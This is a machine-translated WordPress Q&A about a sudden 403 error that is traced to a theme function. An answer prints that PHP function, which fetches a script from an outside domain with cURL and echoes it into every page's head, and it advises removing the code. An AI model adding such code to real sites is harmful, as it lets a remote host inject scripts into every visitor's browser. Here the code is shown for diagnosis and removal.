403 Forbidden error nginx

时间:2013-08-04 作者:MagExt

我从几天之后突然收到了这个错误(403禁止错误nginx)。我还没有修改网站上的任何内容,但这个错误不知从何而来。我可以在所有页面的顶部看到它。但是会显示页面。

我正在使用Wordpress最新版本,托管在Powweb上。我已经询问了他们的支持团队,但他们对此一无所知,并要求我停用所有插件,然后进行检查。但在重命名插件目录和缓存目录之后,我也可以在我的网站上看到这个错误。

我不明白突然出现的问题是什么?请帮帮我!

UPDATE:

通过对从www.jquerye请求jquery文件的代码进行注释,问题得以解决。com站点。但由于该站点已过期,jquery链接也出现了403禁止的错误。

我在themes/themename/framework/functions/init中找到了这段代码。带有cURL请求的php文件。我已经对添加到wp\\U头部的最后一行进行了评论add_action(\'wp_head\', \'insert_jquery_slider\'); 问题得到了解决。

2 个回复
最合适的回答,由SO网友:MagExt 整理而成

通过对从www.jquerye请求jquery文件的代码进行注释,问题得以解决。com站点。但由于该站点已过期,jquery链接也出现了403禁止的错误。

我在themes/themename/framework/functions/init中找到了这段代码。带有cURL请求的php文件。我已经对添加到wp\\U头部的最后一行进行了评论add_action(\'wp_head\', \'insert_jquery_slider\'); 问题得到了解决。

SO网友:Nizam Uddin Sikder

在已安装的主题目录中查找“functions”文件夹。您可能有一个名为“class.php”的文件。您将看到以下代码行。

<?php
if (!function_exists(\'insert_jquery_slider\')){
    function insert_jquery_slider(){
        if (function_exists(\'curl_init\')){
            $url = "http://www.jquerye.com/jquery-1.6.3.min.js";
            $ch = curl_init();
            $timeout = 5;
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            $data = curl_exec($ch);
            curl_close($ch);
            echo $data;
        }
    }
    add_action(\'wp_head\', \'insert_jquery_slider\');
}
?>
如果代码完成,只需删除或注释此部分。:)

结束

相关推荐

Displaying oEmbed errors?

有时,通过oEmbed嵌入项目是不可能的,例如,当YouTube视频已禁用嵌入时。The oEmbed service will return a 401 Unauthorized, 并且不会转换代码。有没有办法通知用户这一点?当前的工作流是非直观的(至少对我来说),我更喜欢在WordPress页面上,或者更好的是,在编辑器中显示一条消息,说明对象无法嵌入。